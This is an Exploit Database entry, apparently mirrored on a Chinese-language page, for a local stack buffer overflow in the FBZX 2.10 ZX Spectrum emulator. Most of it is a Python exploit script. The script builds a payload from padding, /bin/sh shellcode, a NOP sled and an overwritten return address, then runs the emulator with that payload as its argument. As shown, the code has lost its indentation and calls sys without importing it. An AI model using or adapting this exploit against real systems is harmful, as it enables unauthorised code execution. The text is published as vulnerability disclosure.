FBZX 2.10 – Local Stack Buffer Overflow

• Exploit Database
• 16 阅读

• 作者： Juan Sacco
  日期： 2015-11-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38681/

• # Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
  # Program: fbzx - ZX Spectrum Emulator for X
  # Tested on: GNU/Linux - Kali Linux 2.0 x86
  #
  # Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
  # vulnerability because the application fails to perform adequate
  # boundary-checks on user-supplied input.
  #
  # An attacker could exploit this issue to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  # Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
  # Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
  # MD5: 0fc1d2e9c374c1156b2b02186a9f8980
  
  import os,subprocess
  def run():
  try:
  print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
  print "# It's Fuzzing time on unusable exploits"
  print "# This exploit is for educational purposes only"
  # Basic structure: JUNK + SHELLCODE + NOPS + EIP
  
  junk = "\x41"*8
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  nops = "\x90"*5010
  eip = "\x10\xd3\xff\xbf"
  subprocess.call(["fbzx",'', junk + shellcode + nops + eip])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "FBZX not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit FBZX 2.10 Local Overflow Exploit"
  print "Author: Juan Sacco"
  except IndexError:
  howtousage()
  run()